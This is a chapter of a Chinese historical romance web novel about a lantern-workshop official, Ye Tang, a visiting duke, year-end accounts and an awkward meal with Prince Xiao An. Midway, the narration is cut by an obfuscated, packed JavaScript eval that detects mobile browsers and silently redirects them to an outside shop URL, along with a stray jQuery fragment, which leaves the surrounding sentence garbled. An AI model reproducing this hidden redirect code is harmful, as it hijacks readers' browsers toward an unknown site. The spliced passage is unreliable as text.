众人坐定,叶橖微微偏头瞧萧安,萧安气定神闲,在等镇贤公述话,又抬眸看镇贤公,镇贤公在等询问。
她身为制灯司司主,官位不上不下,正中,看来堂内安静的氛围还是得由她来打破。
叶橖遂面带微笑,看向镇贤公,询问:“不知镇贤公今日骤然造访我制灯司所为何事?”
镇贤公压问不答,反而抬头,目光直逼座下周亦。
周亦当即身形一凛,如鼠见猫,转身就要逃,只听镇贤公怒拍桌案,两名侍卫赫然出现,挡住其去路。
“送世子回府。”镇贤公冷冷道。
“爹爹,孩儿——”
周亦还想唤醒父爱,可那两名侍卫只听镇贤公调遣,根本不给其这个机会,架着他三步并作两步给拖了出去。
等侍卫将周亦拖出去之后,镇贤公又将目光落在沈渊身上。
沈渊被这镇贤公突如其来的凝视给盯得一脸茫然与浑身不自在,遂笑颜相问:“镇贤公何以这般盯着下官?”
镇贤公目光收回,眼底却满是不屑,对于沈渊的问话也是先晾着,许久,才开口:“吾儿心思单纯,极易受人挑唆,倒是沈大人心思玲珑,胸怀谋略。”
沈渊闻言顿时面色阴沉,如乌云聚拢似,看向镇贤公,问道:“镇贤公这话何意?!镇贤公有什么话不妨直说。”
镇贤公闻之重新迎上沈渊的目光,说道,“灯司事务繁忙,还请沈大人将心思用在制灯上,本王定当感激不尽。”
叶橖听得出其中之意。
这是要沈渊远离周亦。
“既是镇贤公亲自开口,下官自是驳不得。”沈渊神情坚定,继续道,“下官倒是可以将心思全部用在制灯上,不过您能管得住儿子么?”
“这个就不劳沈大人费心了。”镇贤公道。
“如此甚好!”
沈渊心中有气,随便找了个借口行礼离开了中庭。
眼下中庭内只剩叶橖,萧安与镇贤公三人。
镇贤公骤然至此意为周亦,眼下周亦被遣送回府,沈渊也得镇贤公敲打,想来镇贤公再没有旁事。
叶橖正这样想着,余光却瞥见镇贤公正敲她,潜意识告诉她镇贤公至此还有她的事。
叶橖抬眸迎上镇贤公目光,嘴角笑意浅浅,问道:“镇贤公如此瞧着下官,是有事要下官办?”
同样是询问,沈渊得到的是轻视,而她得到的却是重视。
镇贤公面露和善,语气稍有一点点的请求:“这两日外头都在传,说周亦于寒冬在天水茶楼内食蟹,冬日食蟹劳民伤财,本王已调查清楚那日在天水茶楼内所发生之事的前因后果,此事确实是周亦做的不对,本王替周亦向叶大人在这里赔个不是。”
镇贤公说罢便起身走至叶橖面前,理了理衣服,双手抱拳规规矩矩地行了一礼。
叶橖被镇贤公此举弄得不知所措,下意识想要去扶,却被萧安眼神示意阻拦,幸而此刻镇贤公是弯腰状态并未看到。
镇贤公继续道:“还请叶大人能断传谣言,本王感激不尽。”
叶橖恍然,原来这才是镇贤公骤然登门拜访的目的。既镇贤公亲自开口,她也不好反驳:“当然。”
事情得到解决,镇贤公就此离去,这场与蟹有关的戏码终是落幕。
腊月二十三过完,年便越来越近,各官署也开始了公务核算。
因今年制灯司三官有所调动,是以司内公务核算事宜,叶橖交由沈渊与胡志去办。
而她则依旧将心放在花灯上。
只三日,司内公务核算就已完成,沈渊携册寻她于中庭。
沈渊置册于桌上,道:“司中公务已核算完毕,下官与胡志已签名完毕,现下只请大人签字请印即可。”
叶橖先是偷偷瞟了一眼沈渊。沈渊今日倒是乖觉,没有往日的嘲讽与不屑,颇有些奇怪。
或许是其转性也未可知。
制灯司专为皇室制灯,按照往年公务核算起来并不劳心,只今年她改制了宫灯,又将宫灯供给扩大至百姓,故而事务繁多且杂。
其中最大,最需要核算的便是银钱。
故而,在沈渊将册呈上来时,她并未着急签字,而是从第一页开始认认真真地查起来。
一炷香过去。
随着叶橖翻过最后一页,司内公务核算终是查完。叶橖甚是欣慰:“不错,没有一处错误。”
叶橖说罢,执笔蘸墨,于末页左下角沈渊名字前签下自己的名字,又盖上司主之印。
交由沈渊,命其上交给吏官司。
叶橖呷了口茶,又道:“灯匠们现下正忙着赶制花灯,算着日子今天就能成,再送往各皇商与大虞朝各地,司内公务核算也已完成,再将灯匠们的月例与年赏发放便能放假了。”
沈渊未说话。
叶橖抬眸看向沈渊,说道:“灯匠们的月例与年赏,本官打算交由你去办,不知沈大人意下如何?”
沈渊仍如方才沉默不语。
往年这些都是沈渊一人操劳,叶橖原本以为沈渊不会拒绝。
良久,沈渊方开口:“司内公务核算下官已劳心伤神,实在无闲暇再放月例与年赏。”
沈渊背靠椅背,双手置于两侧的扶手上,翘着二郎腿,这姿势再加上方才所言,分明是不想干。
也对,往年沈渊干,是因为有油水可捞,现如今却不能,只剩下吃力不讨好,推辞也在情理之中。
叶橖温声道:“公务核算,发放月例,这些本就是署官分内事宜,比起监制售卖宫灯尚算不得劳累。沈大人此话不像是官员所说,倒像是个养尊处优的皇子能说的。”
沈渊闻之眼中猛然闪过一丝诧异,还未被人察觉便已恢复平静:“既如此,下官做便是,大人何必这般作践下官?”
沈渊突转口风。
叶橖心中也跟着突转起来,开口道:“既沈大人不愿做,本官也不好勉强,此事本官亲自来做。”
沈渊没再反驳,起身离去。
望着沈渊的背影,叶橖觉得怪怪的,但说不上哪怪……
花灯于当日黄昏依托镖局送往各地。
与此同时,叶橖唤来墨玉,又让金武将所有灯匠唤至中庭,发放月例与年赏。
叶橖:“一年来诸位辛苦,领完月例与年赏便归家吧,好好过个年,我们来年再见。”
墨玉核算每人账目,金武发放银子,领完银子后灯匠签字道谢转身离开了。
银子发放从早上开始,一直忙到深夜才结束。墨玉上前请她示下:“大人,银子都已发放完成,剩下的……”
“将你二人的领完,再将沈渊与胡志的分装包好,还有王爷的,剩余的登记后入库。”叶橖道。
墨玉:“是。”
夜已深,北风呼啸更甚。
又飘起了鹅毛雪,兴许是今日太过忙碌,又或是夜深了,倦意似洪流般涌上来,使得叶橖哈欠连连。
叶橖准备回房时,刚好碰上送银子入库归来的墨玉金武二人。
叶橖温声道:“你们快回去歇息吧,从明天起你们就放假了,王爷的银子你们顺路捎回去吧。”
“是。”墨玉道。
叶橖说完迈步回房,墨玉还想说什么,她已无心再听。
倦意来得快,来得重,叶橖回房便倒头就睡,睡得格外沉。待倦意散去得无影无踪时,已是次日清晨。
昨日放假,所以制灯司今日静得出奇,唯有窗外的风声。
既是放假,叶橖便无需再穿官服。遂将官袍叠好收起,换上冬日裙装,盘发洗漱上妆。
雪下一夜,直至此时仍未有减轻的趋势。
年下,皇京内必是热闹非凡,宫灯与花灯的用量也会增加
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747760|209355||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,为确保皇京新年能顺利进行,她得留下来。
若是按照以前,石制宫灯,她不留下也行。但她改制后的宫灯多是纸糊的,再加上夜坊的开设,今年的大虞朝年夜势必会隆重繁华,她不能走。
她早于五日前,写信回家向父亲母亲说明情况,父亲母亲也回信表示理解赞同。
北风卷着鹅毛雪灌进房中,叶橖有一瞬的晃神,并非因寒冷,而是她在空气中嗅到一股饭菜香。
还有人在司内?
在好奇心地驱使下,叶橖走出房门,踏着白雪前去寻味,穿过长廊,越过庭院,终在中庭寻到根源。
庭院内梅花此刻开得正盛,大雪未停,赏雪观梅,此景此景下用饭不失为是一件雅事。
桌子上的菜肴精美无比,放在玉制的盘内,宛如自天上瑶池盛宴中端来。
这可不是司内所用的制式!叶橖心想,那是从何处来的?
叶橖想着,目光却被一旁的荷包所吸引。
那荷包她很清楚,是昨晚让墨玉捎回谨王府给萧安的,怎会出现在这?难道是墨玉昨晚忘拿了?
恰此时,一道身影顺势映入她眼帘,来者正是萧安。
“见安王爷。”即便是放假,叶橖亦不敢忘礼,规矩行礼道。
萧安今日着一身深蓝色掺银丝线绣飞鸟衣袍,祖母绿的腰带将其腰腹修饰得纤细有力。
更衬得整个人高挑挺拔。
萧安的头发卷烫过,额前戴一蓝宝石绸缎制成的抹额,宛如刚刚及冠的少年郎,金贵又娇俏。
冬日里的孔雀也要开屏?叶橖心想。
萧安看着叶橖,温柔道:“这是我王府厨子新研制出的菜品,本王特意带来邀叶姑娘一同品鉴。”
原来这是萧安为她准备的,刚好,她也饿了,便坐下吃了起来:“甚是不错。”
叶橖正用得欢快之时,萧安突然伸手抚摸她的面庞,叶橖身形一怔,手中食箸顺势掉落在地上,直勾勾地盯着萧安。
下一刻,萧安拇指轻轻拭过她的唇。
萧安温柔笑道:“姑娘嘴角有酱汁。”
叶橖回过神来,笑道:“谢谢。”
“不用谢。”萧安说完便将拇指放置唇处,将那酱汁咬入口中。
叶橖错愕不已,只觉得萧安今日吃错药了。
为缓解尴尬,叶橖弯腰去捡食箸,而萧安认为自己是男子,让女子去捡东西有失礼节,便也弯腰去捡。
两人谁也没注意到谁,便在此情境下两人的手碰在了一起,两人皆又羞又惊。
甚至是有些慌乱,古人有云,越慌乱越出错。
梅开二度,慌忙起身时,二人额头又碰在了一起。
这接连无意却又巧妙短暂的接触,让两人无论内心还是外表都引起了不小的变化。
不经意间的触碰最是能勾动人内心的失礼,两人的脸皆羞红成了猴屁股,经久不消。
叶橖是女子,心思细腻,收拢起这些羞丝惊意来更快,权当没发生过一样,夹菜品尝,夸赞道:“这菜很不错。”
萧安是男子,再加之少年郎血气方刚,那脸上的绯意没有半点要消的趋势,反而更甚。
叶橖目光流转之际,手中原本夹得糯米藕复又落入玉盘中,她心中再次惊愕,还带着点害怕。
只见萧安此刻神色迷离,面色耳朵红到发黑,直勾勾地盯着她,喉结不断上下滚动,胸膛起伏频繁,气血翻涌到峰巅。
萧安这分明想……
果然!果然!果然!
萧安突然环住她的后颈,脸缓缓靠了上来。
“哗啦——”
一杯茶水兜头浇下,萧安猛然惊神,在看清叶橖与他的举动后忙端坐回去,尴尬良久,开口道:“那个……屋里太闷了,本王出去透透气。”
叶橖看着四面通透的中庭,点点头。